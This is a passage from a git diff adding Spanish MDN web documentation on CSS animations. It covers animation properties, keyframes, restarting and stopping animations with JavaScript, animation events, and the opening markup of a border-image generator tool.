+ <li>{{cssxref("@keyframes")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Detecting_CSS_animation_support">Detecting CSS animation support</a></dt>
+ <dd>Describes a technique for detecting if the browser supports CSS animations.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations">Using CSS animations</a></dt>
+ <dd>Step-by-step tutorial about how to create animations using CSS, this article describes each relevant CSS property and at-rule and explains how they interact.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    43.0</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>12{{property_prefix("-o")}}<br>
+    12.10<sup>[2]</sup></td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 {{property_prefix("-webkit")}} [1]<br>
+    4.0 {{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Partial support: {{cssxref("animation-fill-mode")}} property is not supported in Android browser below 2.3.</p>
+
+<p>[2] See the <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">release notes to Opera 12.50</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related to CSS Animations, <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS Transitions</a> can trigger animations on user actions.</li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/css/css_animations/tips/index.html b/files/es/web/css/css_animations/tips/index.html
new file mode 100644
index 0000000000..1053ef24ac
--- /dev/null
+++ b/files/es/web/css/css_animations/tips/index.html
@@ -0,0 +1,150 @@
+---
+title: Animaciones CSS tips y trucos
+slug: Web/CSS/CSS_Animations/Tips
+translation_of: Web/CSS/CSS_Animations/Tips
+---
+<div>{{cssref}}</div>
+
+<div>Las Animaciones con CSS hacen posible crear cosas increíbles con los elementos que forman parte de tus documentos y apps . Sin embargo, hay cosas que deseas hacer que no son evidentes, o soluciones inteligentes que quizás no encuentres de inmediato. Este artículo es una colección de tips y trucos que hemos encontrado que podrían hacer más fácil el trabajo, incluido cómo volver a ejecutar una animación detenida.</div>
+
+<h2 id="Corriendo_una_animación_de_nuevo">Corriendo una animación de nuevo</h2>
+
+<p>La especificación de CSS Animations no ofrece una forma de ejecutar una animación nuevamente. No hay un método mágico de <code>resetAnimation()</code> en los elementos, y tu no puedes solo configurar el elemento {{cssxref("animation-play-state")}} para <code>"correr"</code> de nuevo. En su lugar debes usar trucos inteligentes para que una animación detenida se reproduzca.</p>
+
+<p>Aquí te mostramos una forma de hacerlo que sentimos es lo suficientemente estable y confiable para sugerirte</p>
+
+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<p>Primero, definamos el HTML para un {{HTMLElement("div")}}  que deseamos animar y un botón que ejecurara (o repetira) la animación.</p>
+
+<pre class="brush: html notranslate">&lt;div class="box"&gt;
+&lt;/div&gt;
+
+&lt;div class="runButton"&gt;Click me to run the animation&lt;/div&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<p>Ahora definiremos la animación en si usando CSS. Algún CSS que no es importante (el estilo del botón "Run" en sí)  no se muestran aquí, por brevedad.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">.runButton {
+  cursor: pointer;
+  width: 300px;
+  border: 1px solid black;
+  font-size: 16px;
+  text-align: center;
+  margin-top: 12px;
+  padding-top: 2px;
+  padding-bottom: 4px;
+  color: white;
+  background-color: darkgreen;
+  font: 14px "Open Sans", "Arial", sans-serif;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">@keyframes colorchange {
+  0% { background: yellow }
+  100% { background: blue }
+}
+
+.box {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+}
+
+.changing {
+  animation: colorchange 2s;
+}</pre>
+
+<p>Aquí hay dos clases. La clase <code>"box"</code> es un descripción básica de la apariencia de la caja, sin ninguna información de la animación incluida. Los detalles de la animación son incluidos en la clase <code>"changing"</code> class, que dice que {{cssxref("@keyframes")}} llamado <code>"colorchange"</code> debe usarse en el transcurso de dos segundo para animar la caja.</p>
+
+<p>Note que debido a esto, la caja no comienza con ningún efecto de animación en su lugar, por lo que no se animará</p>
+
+<h3 id="Contenido_JavaScript">Contenido JavaScript</h3>
+
+<p>Ahora veremos el JavaScript que jace el trabajo. La escencia de la técnica esta en la función <code>play()</code>, que se llama cuando el usuario hace clic en  el botón "Run".</p>
+
+<pre class="brush: js notranslate">function play() {
+  document.querySelector(".box").className = "box";
+  window.requestAnimationFrame(function(time) {
+    window.requestAnimationFrame(function(time) {
+      document.querySelector(".box").className = "box changing";
+    });
+  });
+}</pre>
+
+<p>Esto se ve raro, ¿cierto? Esto se debe a que la única forma de volver a reproducir una animación es eleminar el efecto de animación, dejar que el documento vuelva a calcular los estilos para que sepa que lo ha hecho y luego volver a agregar el efecto de animación al elemento. Para que eso suceda, tenemos que ser creativos.</p>
+
+<p>Esto es lo que sucede cuando la función <code>play()</code> es llamada:</p>
+
+<ol>
+ <li> La lista de clases CSS de caja se restablece a <code>"box"</code>. Esto tiene el efecto de remover   cualquier otra clase recurrente aplicada a la caja, incluida la clase <code>"changing"</code> que       controla la animación. En otras palabras eliminaremos el efecto de animación de la caja. Sin embargo, los cambios en la lista de clases no tienen efecto hasta que se recalcula completamente el estilo  y se ha producido una actualización para reflejar el cambio.</li>
+ <li>Para estar seguros que los estilos son recalculados, nosotros usamos {{domxref("window.requestAnimationFrame()")}}, especifinado un callback. Nuestro callback se ejecuta justo antes del 'repaint' del documento. El problema para nosotros es que debido a que es antes del repaint, ¡El recalculo del estilo aún no ha suciedo! Por lo tanto...</li>
+ <li>Nuestro callback habilmente llama a <code>requestAnimationFrame()</code> ¡por segunda vez!. En este momento el callback se compila antes del siguiente repaint, después de que se haya producido el recalculo del estilo. El callback añade la clase <code>"changing"</code>  de nuevo en la caja, para que el repaint inicie la animación una vez más.</li>
+</ol>
+
+<p>Por supuesto, también necesitamos agregar un controlador de eventos a nuestro botón  "Run" para que en verdad haga algo</p>
+
+<pre class="brush: js notranslate">document.querySelector(".runButton").addEventListener("click", play, false);</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Run_an_animation_again', 320, 160) }}</p>
+
+<h2 id="Detener_la_animación">Detener la animación</h2>
+
+<p>Simplemente removemos {{cssxref("animation-name")}} aplicado al elemento que hace que eso salte o corte a su siguiente estado.Si, en cambio, desea que la animación se complete y luego se detenga, debe probar un enfoque diferente. Los principales trucos son:</p>
+
+<ol>
+ <li>Haga que su animación sea lo más autónoma posible. Esto significa que no se debe confiar en<code>animation-direction: alternate</code>. En su lugar, debe escribir explícitamente una animación de fotogramas clave que pase por la animación completa en una repetición hacia adelante.</li>
+ <li>Use JavaScript y borre la animación  que se esta utilizando cuando se activa el evento <code>animationiteration</code>.</li>
+</ol>
+
+<p>El siguiente demo muestra como puedes lograr las técnicas JavaScript mencionandas anteriormente:</p>
+
+<pre class="brush: css notranslate">.slidein {
+  animation-duration: 5s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+
+.stopped {
+  animation-name: none;
+}
+
+@keyframes slidein {
+  0% {
+    margin-left: 0%;
+  }
+  50% {
+    margin-left: 50%;
+  }
+  100% {
+    margin-left: 0%;
+  }
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;h1 id="watchme"&gt;Click me to stop&lt;/h1&gt;
+</pre>
+
+<pre class="brush: js notranslate">let watchme = document.getElementById('watchme')
+
+watchme.className = 'slidein'
+const listener = (e) =&gt; {
+  watchme.className = 'slidein stopped'
+}
+watchme.addEventListener('click', () =&gt;
+  watchme.addEventListener('animationiteration', listener, false)
+)
+</pre>
+
+<p>Demo <a href="https://jsfiddle.net/morenoh149/5ty5a4oy/">https://jsfiddle.net/morenoh149/5ty5a4oy/</a></p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">Using CSS transitions</a></li>
+ <li>{{domxref("Window.requestAnimationFrame()")}}</li>
+</ul>
diff --git a/files/es/web/css/css_animations/usando_animaciones_css/index.html b/files/es/web/css/css_animations/usando_animaciones_css/index.html
new file mode 100644
index 0000000000..b9b08bbc0b
--- /dev/null
+++ b/files/es/web/css/css_animations/usando_animaciones_css/index.html
@@ -0,0 +1,351 @@
+---
+title: Usando animaciones CSS
+slug: Web/CSS/CSS_Animations/Usando_animaciones_CSS
+tags:
+  - Advanced
+  - CSS
+  - CSS Animations
+  - Example
+  - Experimental
+  - Guide
+translation_of: Web/CSS/CSS_Animations/Using_CSS_animations
+---
+<p><span class="diff_add">{{SeeCompatTable}}{{CSSRef}}</span></p>
+
+<p><strong>Las animaciones CSS3</strong> permiten animar la transición entre un estilo CSS y otro. Las animaciones constan de dos componentes: un estilo que describe la animación CSS y un conjunto de fotogramas que indican su estado inicial y final, así como posibles puntos intermedios en la misma.</p>
+
+<p>Las animaciones CSS tienen tres ventajas principales sobre las técnicas tradicionales de animación basada en scripts:</p>
+
+<ol>
+ <li>Son muy fáciles de usar para animaciones sencillas, puedes hacerlo incluso sin tener conocimientos de Javascript.</li>
+ <li>La animación se muestra correctamente, incluso en equipos poco potentes. Animaciones simples realizadas en Javascript pueden verse mal (a menos que estén muy bien hechas). El motor de renderizado puede usar técnicas de optimización como el "frame-skipping" u otras técnicas para que la ejecución de la animación se vea tan suave como sea posible.</li>
+ <li>Al ser el navegador quien controle la secuencia de la animación, permitimos que optimice el rendimiento y eficiencia de la misma, por ejemplo, reduciendo la frecuencia de actualización de la animación ejecutándola en pestañas que no estén visibles.</li>
+</ol>
+
+<h2 id="Configurando_la_animación">Configurando la animación</h2>
+
+<p>Para crear una secuencia de animación CSS, tú estilizarás el elemento que quieras animar con la propiedad {{ cssxref("animation") }} y sus sub-propiedades. Con ellas podemos no solo configurar el ritmo y la duración de la animación sino otros detalles sobre la secuencia de la animación. Con ellas <strong>no</strong> configuramos la apariencia actual de la animación, para ello disponemos de {{ cssxref("@keyframes") }} como describiremos más adelante .</p>
+
+<p>Las subpropiedades de {{ cssxref("animation") }} son:</p>
+
+<dl>
+ <dt>{{ cssxref("animation-delay") }}</dt>
+ <dd>Tiempo de retardo entre el momento en que el elemento se carga y el comienzo de la secuencia de la animación.</dd>
+ <dt>{{ cssxref("animation-direction") }}</dt>
+ <dd>Indica si la animación debe retroceder hasta el fotograma de inicio al finalizar la secuencia o si debe comenzar desde el principio al llegar al final.</dd>
+ <dt>{{ cssxref("animation-duration") }}</dt>
+ <dd>Indica la cantidad de tiempo que la animación consume en completar su ciclo (duración).</dd>
+ <dt>{{ cssxref("animation-iteration-count") }}</dt>
+ <dd>El número de veces que se repite. Podemos indicar <code>infinite</code> para repetir la animación indefinidamente.</dd>
+ <dt>{{ cssxref("animation-name") }}</dt>
+ <dd>Especifica el nombre de la regla {{ cssxref("@keyframes") }} que describe los fotogramas de la animación.</dd>
+ <dt>{{ cssxref("animation-play-state") }}</dt>
+ <dd>Permite pausar y reanudar la secuencia de la animación</dd>
+ <dt>{{ cssxref("animation-timing-function") }}</dt>
+ <dd>Indica el ritmo de la animación, es decir, como se muestran los fotogramas de la animación, estableciendo curvas de aceleración.</dd>
+ <dt>{{ cssxref("animation-fill-mode") }}</dt>
+ <dd>Especifica qué valores tendrán las propiedades después de finalizar la animación (los de antes de ejecutarla, los del último fotograma de la animación o ambos).</dd>
+</dl>
+
+<h2 id="Definiendo_la_secuencia_de_la_animación_con_fotogramas">Definiendo la secuencia de la animación con fotogramas</h2>
+
+<p>Una vez configurado el tiempo de la animación, necesitamos definir su apariencia. Esto lo haremos estableciendo dos fotogramas más usando la regla {{ cssxref("@keyframes") }}. Cada fotograma describe cómo se muestra cada elemento animado en un momento dado durante la secuencia de la animación.</p>
+
+<p>Desde que se define el tiempo y el ritmo de la animación, el fotograma usa {{ cssxref("percentage") }} para indicar en qué momento de la secuencia de la animación tiene lugar. 0% es el principio, 100% es el estado final de la animación. Debemos especificar estos dos momentos para que el navegador sepa dónde debe comenzar y finalizar; debido a su importancias, estos dos momentos tienen alias especiales: <code>from</code> y <code>to</code>.</p>
+
+<p>Además puedes, opcionalmente, incluir fotogramas que describan pasos intermedios entre el punto inicial y final de la animación.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div class="note"><strong>Nota:</strong> Los siguientes ejemplos no usan ningún prefijo en las propiedades CSS de animación. Los navegadores antiguos pueden necesitarlos. Al hacer click en "Ver el ejemplo vivo" se incluye el prefijo <code>-webkit</code>.</div>
+
+<h3 id="Haciendo_que_un_texto_se_delice_por_la_ventana_del_navegador">Haciendo que un texto se delice por la ventana del navegador</h3>
+
+<p>Este sencillo ejemplo da estilos al elemento {{ HTMLElement("p") }} para que el texto se deslice por la pantalla entrando desde el borde derecho de la ventana del navegador.</p>
+
+<p>Animaciones como esta pueden hacer que la página se vuelva más ancha que la ventana del navegador. Para evitar este problema, pon el elemento que será animado en un contenedor y agrega {{cssxref("overflow")}}<code>:hidden</code> en el contenedor.</p>
+
+<pre class="brush: css notranslate">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<p>El estilo del elemento {{ HTMLElement("p") }} especifica, a través de la propiedad {{ cssxref("animation-duration") }}, que la animación debe durar 3 segundos desde el inicio al fin y que el nombre de los {{ cssxref("@keyframes") }} que definen los fotogramas de la secuencia de la animación es "slidein".</p>
+
+<p>Si queremos añadir algún estilo personalizado sobre el elemento {{ HTMLElement("p") }} para usarlo en navegadores que no soporten animaciones CSS, también podemos incluirlos. En nuestro ejemplo, no queremos ningún otro estilo personalizado diferente al efecto de la animación.</p>
+
+<p>Los fotogramas se definen usando la regla {{ cssxref("@keyframes") }}. En nuestro ejemplo, tenemos solo dos fotogramas. El primero de ellos sucede en elt 0% (hemos usado su alias <code>from</code>). Aqui, configuramos el margen izquierdo del elemento, poniendolo al 100%  (es decir, en el borde derecho del elemento contenedor), y su ancho al 300% (o tres veces el ancho del elemento contenedor). Esto hace que en el primer fotograma de la animación tengamos el encabezado fuera del borde derecho de la ventana del navegador.</p>
+
+<p>El segundo (y último) fotograma sucede en el 100% (hemos usado su alias <code>to</code>). Hemos puesto el margen derecho al 0% y el ancho del elemento al 100%. Esto produce que el encabezado, al finalizar la animación, esté en el borde derecho del área de contenido.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;</pre>
+
+<p>(Recarga la página para ver la animación, o haz click en el botón CodePen para ver la animación en CodePen)</p>
+
+<p>{{EmbedLiveSample("Haciendo_que_un_texto_se_delice_por_la_ventana_del_navegador","100%","250")}}</p>
+
+<h3 id="Añadiendo_otro_fotograma">Añadiendo otro fotograma</h3>
+
+<p>Vamos a añadir otro fotograma a la animación de nuestro ejemplo anterior. Pongamos que queremos que el tamaño de fuente del encabezado aumente a medida que se mueve durante un tiempo y que después disminuye hasta su tamaño original. Esto es tan sencillo como añadir este fotograma:</p>
+
+<pre class="brush: css notranslate">75% {
+  font-size: 300%;
+  margin-left: 25%;
+  width: 150%;
+}
+</pre>
+
+<pre class="brush: css hidden notranslate">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden notranslate">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>Esto le dice al navegador que en el 75% de la secuencia de la animación, el encabezado tiene un margen izquierdo del 25%, un tamaño de letra del 200% y un ancho del 150%.</p>
+
+<p>(Recarga la página para ver la animación, o haz click al botón de CodePen para la animación en CodePen)</p>
+
+<p>{{EmbedLiveSample("Añadiendo_otro_fotograma","100%","250")}}</p>
+
+<h3 id="Haciendo_que_se_repita">Haciendo que se repita</h3>
+
+<p>Para hacer que la animación se repita, solo hay que usar la propiedad {{ cssxref("animation-iteration-count") }} e indicarle cuántas veces debe repetirse. En nuestro caso, usamos  <code>infinite</code> para que la animación se repita indefinidamente:</p>
+
+<pre class="brush: css notranslate">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+</pre>
+
+<pre class="brush: css hidden notranslate">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden notranslate">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Haciendo_que_se_repita","100%","250")}}</p>
+
+<h3 id="Moviendolo_hacia_adelante_y_hacia_atrás">Moviendolo hacia adelante y hacia atrás</h3>
+
+<p>Hemos hecho que se repita, pero queda un poco raro que salte al inicio de la animación cada vez que ésta comienza. Queremos que se mueva hacia adelante y hacia atrás en la pantalla. Esto lo conseguimos fácilmente indicando que {{ cssxref("animation-direction") }} es <code>alternate</code>:</p>
+
+<pre class="brush: css notranslate">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+</pre>
+
+<pre class="brush: css hidden notranslate">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden notranslate">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Moviendolo_hacia_adelante_y_hacia_atrás","100%","250")}}</p>
+
+<h3 id="Usando_la_versión_abreviada_animation">Usando la versión abreviada animation</h3>
+
+<p>La versión abreviada {{cssxref("animation")}} es usado para ahorrar espacio. Por ejemplo, la regla que hemos usado en este artículo:</p>
+
+<pre class="notranslate"><code>p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}</code></pre>
+
+<p>Se puede reemplazar por</p>
+
+<pre class="notranslate"><code>p {
+  animation: 3s infinite alternate slidein;
+}</code></pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota: </strong>Puedes encontrar más detalles en la página de referencia {{cssxref("animation")}} </p>
+</div>
+
+<h3 id="Estableciendo_multiples_valores_de_propiedades_animation">Estableciendo multiples valores de propiedades animation</h3>
+
+<p>Las propiedades de la versión larga de {{cssxref("animation")}} pueden aceptar múltiples valores, separados por comas - esta característica puede ser usada cuando quieres aplicar múltiples animaciones en una solo regla, y establecer por separado duration, iteration-count, etc. para diferentes animaciones. Vamos a ver algunos ejemplos rápidos para explicar las diferentes combinaciones:</p>
+
+<p>En el primer ejemplo, tenemos tres nombres de animación establecidos, pero solo una duración (duration) y número de iteraciones (iteration-count). En este caso, a las tres animaciones se les da la misma duración y número de iteraciones:</p>
+
+<pre class="notranslate"><code>animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 3s;
+animation-iteration-count: 1;</code>
+</pre>
+
+<p>En el segundo ejemplo, tenemos tres valores establecidos en las tres propiedades. En este caso, cada animación se ejecuta con los valores correspondientes en la misma posición en cada propiedad, así por ejemplo <code>fadeInOut</code> tiene una duración de 2.5s y 2 iteraciones, etc.</p>
+
+<pre class="notranslate"><code>animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s, 1s;
+animation-iteration-count: 2, 1, 5;</code></pre>
+
+<p>En el tercer caso, hay tres animaciones especificadas, pero solo dos duraciones y número de iteraciones. En los casos en donde no hay valores suficientes para dar un valor separado a cada animación, los valores se repiten de inicio a fin. Así por ejemplo, <code>fadeInOut</code> obtiene una duración de 2.5s y <code>moveLeft300px</code> obtiene una duración de 5s. Ahora tenemos asignados todos los valores de duracion disponibles, así que empezamos desde el inicio de nuevo - por lo tanto <code>bounce</code>  tiene una duración de 2.5s. El número de iteraciones (y cualquier otra propiedad que especifiques) será asignados de la misma forma.</p>
+
+<pre class="notranslate"><code>animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s;
+animation-iteration-count: 2, 1;</code></pre>
+
+<h3 id="Usando_eventos_de_animación">Usando eventos de animación</h3>
+
+<p>Podemos tener un control mayor sobre las animaciones (así como información útil sobre ellas) haciendo uso de eventos de animación. Dichos eventos, representados por el objeto {{ domxref("event/AnimationEvent", "AnimationEvent") }} , se pueden usar para detectar cuándo comienza la animación, cuándo termina y cuándo comienza una iteración. Cada evento incluye el momento en el que ocurrió, así como el nombre de la animación que lo desencadenó.</p>
+
+<p>Vamos a modificar el ejemplo del texto deslizante para recoger información sobre cada evento cuando suceda y asi podremos echar un vistazo a cómo funcionan.</p>
+
+<h4 id="Agregando_CSS">Agregando CSS</h4>
+
+<p>Empezamos creando el CSS para la animación. Esta animación durará 3 segundos, se llama <code>slidein</code>, se repite 3 veces, y alterna de dirección cada vez. En {{cssxref("@keyframes")}}, <code>width</code> y <code>margin-left</code> son manipulados para hacer que el elemento se deslice por la pantalla.</p>
+
+<pre class="brush: css notranslate">.slidein {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: 3;
+  animation-direction: alternate;
+}
+
+@keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+   margin-left:0%;
+   width:100%;
+ }
+}</pre>
+
+<h4 id="Añadiendo_detectores_de_eventos_a_la_animación">Añadiendo detectores de eventos a la animación</h4>
+
+<p>Usaremos un poco de Javascript para escuchar los tres posibles eventos de animación. Este código configura nuestros detectores de eventos (event listeners); los llamamos cuando el documento carga por primera vez para configurar todo.</p>
+
+<pre class="brush: js notranslate">var e = document.getElementById("watchme");
+e.addEventListener("animationstart", listener, false);
+e.addEventListener("animationend", listener, false);
+e.addEventListener("animationiteration", listener, false);
+
+e.className = "slidein";</pre>
+
+<p>Es la forma estándar de detectar eventos en Javascript, si quieres conocer más detalles sobre cómo funciona la detección de eventos, consulta la documentación de {{ domxref("element.addEventListener()") }}.</p>
+
+<p>La última línea pone la clase <code>slidein</code> al elemento para comenzar la animación. ¿Por qué?. Porque que el evento <code>animationstart</code> se dispara cuando comienza la animación y, en nuestro caso, esto sucedería antes de que nuestro código se hubiera ejecutado y no podríamos crear los detectores de eventos. Para evitarlo, creamos los detectores de eventos antes y añadimos la clase al elemento para iniciar la animación.</p>
+
+<h4 id="Recibiendo_los_eventos">Recibiendo los eventos</h4>
+
+<p>Los eventos, al irse disparando, llamarán a la función <code>listener()</code>.</p>
+
+<pre class="brush: js notranslate">function listener(e) {
+  var l = document.createElement("li");
+  switch(e.type) {
+    case "animationstart":
+      l.innerHTML = "Iniciado: tiempo transcurrido " + e.elapsedTime;
+      break;
+    case "animationend":
+      l.innerHTML = "Finalizado: tiempo transcurrido " + e.elapsedTime;
+      break;
+    case "animationiteration":
+      l.innerHTML = "Nueva iteración comenzó a los " + e.elapsedTime;
+      break;
+  }
+  document.getElementById("output").appendChild(l);
+}
+</pre>
+
+<p>Este código también es muy sencillo. Miramos en {{ domxref("event.type") }} para saber qué tipo de evento se ha disparado y, en función del tipo de evento, añadimos su correspodiente texto al elemento {{ HTMLElement("ul") }} que usaremos para registrar la actividad de nuestros eventos.</p>
+
+<p>El resultado, si todo ha ido bien, será algo parecido a esto:</p>
+
+<ul>
+ <li>Iniciado: tiempo transcurrido 0</li>
+ <li>Nueva iteración comenzó a los 3.01200008392334</li>
+ <li>Nueva iteración comenzó a los 6.00600004196167</li>
+ <li>Finalizado: tiempo transcurrido 9.234000205993652</li>
+</ul>
+
+<p>Fijémonos en que despues de la iteración final de la animación, el evento <code>animationiteration</code> no se envía, en su lugar se lanza <code>animationend</code>.</p>
+
+<h4 id="El_HTML">El HTML</h4>
+
+<p>Solo nos falta mostrar el código HTML necesario para mostrar el ejemplo en la página, incluyendo la lista en la que el script irá insertando la información de los eventos que se vayan disparando.</p>
+
+<pre class="brush: html notranslate">&lt;h1 id="watchme"&gt;Watch me move&lt;/h1&gt;
+&lt;p&gt;
+  This example shows how to use CSS animations to make &lt;code&gt;H1&lt;/code&gt;
+  elements move across the page.&lt;/p&gt;
+&lt;p&gt;
+  In addition, we output some text each time an animation event fires,
+  so you can see them in action.
+&lt;/p&gt;
+&lt;ul id="output"&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Usando_eventos_de_animación', '600', '300')}}</p>
+
+<h2 id="Te_puede_interesar_también">Te puede interesar también</h2>
+
+<ul>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+ <li><a href="/en-US/docs/CSS/CSS_animations/Detecting_CSS_animation_support" title="en/CSS/CSS animations/Detecting CSS animation support">Detecting CSS animation support</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">Using CSS transitions</a></li>
+</ul>
diff --git a/files/es/web/css/css_background_and_borders/border-image_generador/index.html b/files/es/web/css/css_background_and_borders/border-image_generador/index.html
new file mode 100644
index 0000000000..3f189b87ea
--- /dev/null
+++ b/files/es/web/css/css_background_and_borders/border-image_generador/index.html
@@ -0,0 +1,2615 @@
+---
+title: Generador Border-image
+slug: Web/CSS/CSS_Background_and_Borders/Border-image_generador
+tags:
+  - CSS
+  - Herramientas
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator
+---
+<p>Esta herramienta permite generar valores para CSS3 {{cssxref("border-image")}}</p>
+<div style="display: none;">
+ <h2 id="Border_Image_Generator" name="Border_Image_Generator">Border Image Generator</h2>
+ <h3 id="HTML_Content">HTML Content</h3>
+ <pre class="brush: html">    <div id="container">
+
+        <div id="gallery">
+            <div id="image-gallery">
+                <img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png">
+                <img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png">
+                <img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png">
+                <img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png">
+                <img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png">
+                <img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg">
+            </div>
+        </div>
+
+        <div class="group section" id="load-actions">
+            <div id="toggle-gallery"> </div>
+            <div class="button" id="load-image"> Upload image </div>
+            <input>
+            <div class="button" id="load-remote"> </div>
+        </div>
+
+        <div class="group section" id="general-controls">
+            <div class="name"> Control Box </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">scale</div>
+                <div class="ui-input-slider">
+                </div>
+            </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">draggable</div>
+                <div class="ui-checkbox"></div>
+            </div>
+            <div class="property right">
+                <div class="name">section height</div>
+                <div class="ui-input-slider">
+                </div>
+            </div>
+        </div>
+
+        <div class="group section" id="preview_section">
+            <div id="subject">
+                <div class="guideline"></div>
+                <div class="guideline"></div>
+                <div class="guideline"></div>
+                <div class="guideline"></div>
+            </div>
+            <div id="preview"> </div>
+        </div>
+
+
+        <div class="group section" id="controls">
+
+
+            <div class="category" id="border-slice-control">
+                <div class="title"> border-image-slice </div>
+                <div class="property">
+                    <div class="name">fill</div>
+                    <div class="ui-checkbox"></div>
+                </div>
+            </div>
+
+
+            <div class="category" id="border-width-control">
+                <div class="title"> border-image-width </div>
+            </div>
+
+
+            <div class="category" id="border-outset-control">
+                <div class="title"> border-image-outset </div>
+            </div>
+
+
+            <div class="category" id="aditional-properties">
+                <div class="title"> aditional-properties </div>
